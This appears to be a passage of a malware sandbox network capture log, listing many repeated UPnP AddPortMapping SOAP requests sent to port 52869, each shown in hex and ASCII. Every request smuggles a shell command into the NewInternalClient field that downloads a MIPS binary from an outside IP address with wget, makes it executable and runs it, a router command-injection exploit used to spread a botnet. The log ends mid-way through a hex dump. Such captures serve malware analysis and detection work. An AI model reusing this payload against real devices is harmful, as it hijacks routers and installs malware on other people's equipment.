                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:51.963033915 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:03.994719982 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:28.314110041 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:17.464529991 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      13192.168.2.1539796185.71.64.15752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:42.805269957 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:43.455305099 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:44.731364965 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 